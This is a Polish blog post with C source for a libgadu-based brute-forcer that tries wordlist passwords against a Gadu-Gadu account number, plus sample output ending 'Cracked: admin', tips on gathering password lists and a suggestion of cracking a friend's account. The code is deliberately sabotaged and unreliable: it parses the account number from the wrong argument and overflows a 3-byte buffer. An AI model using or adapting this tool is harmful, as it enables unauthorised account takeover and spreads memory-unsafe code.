Łamanie lokalnego hasła GG ogranicza się jedynie do kilku kliknięć myszką. Co prawda zabieg ten trudno nazwać „łamaniem”, gdyż hasło po prostu dekoduje się korzystając z ogólnodostępnego algorytmu szyfrowania GG. Hasło to często jest identyczne z tym na serwerze.
Człowiek nie ma pamięci doskonałej. Bywa, że to hasło po prostu wyleci nam z głowy i nie mamy możliwości jego przypomnienia, bo nie znamy hasła do e-maila. Łamanie hasła lokalnego także nie wchodzi w grę, jeśli jesteśmy po formacie. Jedynym rozwiązaniem pozostaje być własnoręczne odgadnięcie hasła, bądź skorzystanie z brutusa, takiego, który pragnę Wam zademonstrować.
Brutus to połączenie dwóch znanym nam już programów wysylanie.c oraz brut.c. Do jego prawidłowego działania potrzebujemy plik tekstowy z hasłami, rozdzielonymi znakami nowej linii, np.
asia
qwerty
123456
admin123
haslo123
[…]
Program będzie działać dopóki nie złamie hasła, bądź nie dojdzie do końca pliku z hasłami.
/*
Program ma za zadanie testowac
Numer na podane w pliku hasla
Linia po linii.
Program powstal dla tych,
Ktorzy pamietaja swoj numer
Do komunikatora, ale nie
Pamietaja hasla 😉
Zdarza sie tak, ze
Zapominamy hasla do e-maila
I nie mozemy przypomniec
Hasla z serwera 🙂
Autor:
Komeniusz [Nie odpowiadam za uzycie tego programu!]
Licencja: GNU - edukacyjna!
Program testowano na:
System: Ubuntu 9.10
Biblioteka: Libgadu 1.9.0-rc2 (wersja testowa)
Download Libgadu: http://toxygen.net/libgadu/
Dokumentacja Libgadu: http://toxygen.net/libgadu/doc/
*/
//Niezbędne biblioteki
#include <unistd.h> //sleep
#include <stdlib.h> //atoi
#include <string.h> //memset
#include "libgadu.h" //libgadu 🙂
int main(int argc, char **argv)
{
struct gg_session *sess;
struct gg_event *e;
struct gg_login_params p;
/*
Jesli chcemy wyswietlac informacje od serwera
nalezy ustawic ta wartosc na 255
*/
gg_debug_level = 0;
/*
Jesli podamy za malo parametrow
wypluwamy info o bledzie i konczymy program
*/
if (argc < 3) {
fprintf(stderr, "uzycie: %s <numer> <plik z haslami>n", argv[0]);
return 1;
}
/*
Deklarujemy zmienne potrzebne do
zliczenia ilosci wierszy
*/
FILE *plik;
int wiersz = 0;
char znak;
//Jesli nie ma pliku z haslami
if((plik = fopen(argv[2], "r")) == NULL)
{
//Informujemy o bledzie i konczymy dzialanie programu
printf("nie mogę otworzyć pliku n");
return 1;
}
//Dopoki nie dojedziemy do konca pliku
while((znak = getc(plik)) != EOF)
{
if(znak == 'n') { //Zliczamy ilosc wierszy
++wiersz;
}
}
/*
Odczytujemy wiersz
po wierszu z pliku
i zapisujemy wartosc
do zmiennej
*/
FILE *pFile;
int i=0;
char haslo[3];
pFile = fopen(argv[2], "r");
/*
Jesli nie ma pliku z haslami
Informujemy o bledzie i konczymy dzialanie programu
*/
if(pFile == NULL) {
printf("Blad odczytu pliku");
return 1;
} else {
/*
Jazda ;D
*/
for(i=0;i<=wiersz-1;i++) {
fgets(haslo, 131072, pFile);
//Zwalniamy pamiec
memset(&p, 0, sizeof(p));
//Deklarujemy aktualnie testowany numer, ten sam co wczesniej
p.uin = atoi(argv[2]);
//Zmienna pomocnicza, aby obciac enter
char x;
//Zmienna pomocnicza = haslo z enterem
x=strlen(haslo);
//Haslo z enterem = haslo bez entera
haslo[x-2]='�';
//Deklarujemy aktualnie testowane haslo
p.password = haslo;
/*
Jesli haslo sie nie zgadza
*/
if (!(sess = gg_login(&p))) {
/*
Ponizsza linie mozna odkomentowac,
jesli chcemy wyswietlac informacje
o haslach, ktore nie przeszly testu
*/
printf("Bashed: -%s- n -------------------- n", haslo);
/*
Zwalnaimy pamiec
*/
gg_free_session(sess);
} else { //Jesli zgadlismy haslo drukujemy je
printf("Cracked: %s n -------------------- n", haslo);
return 1;
}
/*
Zwalniamy pamiec
*/
gg_logoff(sess);
gg_free_session(sess);
}
}
return 0; //zakonczenie programu
}
Przykład działania programu
komeniusz@cyber-jadro:~/libgadu/examples$ gcc -o brutusik brutusik.c -lgadu
komeniusz@cyber-jadro:~/libgadu/examples$ ./brutusik
uzycie: ./brutusik <numer> <plik z haslami>
komeniusz@cyber-jadro:~/libgadu/examples$ ./brutusik 123456 hasla.txt
Bashed: -A-
——————–
Bashed: -A117S5-
——————–
Bashed: -A14530-
——————–
Bashed: -A1lc1u-
——————–
Bashed: -A2005K-
——————–
Bashed: -A23-
——————–
Cracked: admin
——————–
komeniusz@cyber-jadro:~/libgadu/examples$
Jak widać program złamał hasło, a jest nim słowo „admin„.
UWAGA!
W programie zawarte jest zabezpieczenie anti script kiddie, aby ktoś, kto nie rozumie programu nie miał możliwości bezmyślnego SPIM’owania innych użytkowników.
Skąd wziąć plik z hasłami?
- Można stworzyć go samodzielnie wpisując najbardziej typowe hasła jak „qwerty„, „123456„, „haslo123„, „imie<numer>„. Hasłem często są zdrobnienia imion, więc jeśli łamiemy hasło koleżanki o imieniu Małgorzata (łamiemy jej hasło, gdyż go zapomniała i poprosiła nas o pomoc) hasłem może być „malgosia„.
- W sieci dostępne są gotowe pliki z hasłami, wystarczy poszukać.
6 maja 2010 dnia 15:41
Bibliotekę ze sleepem włączasz, ale nie używasz 🙂
7 lipca 2010 dnia 16:32
Mhh… Bystrzak ;D
Sleep’a włączyłem podczas testów i najwidoczniej zapomniałem usunąć tą bibliotekę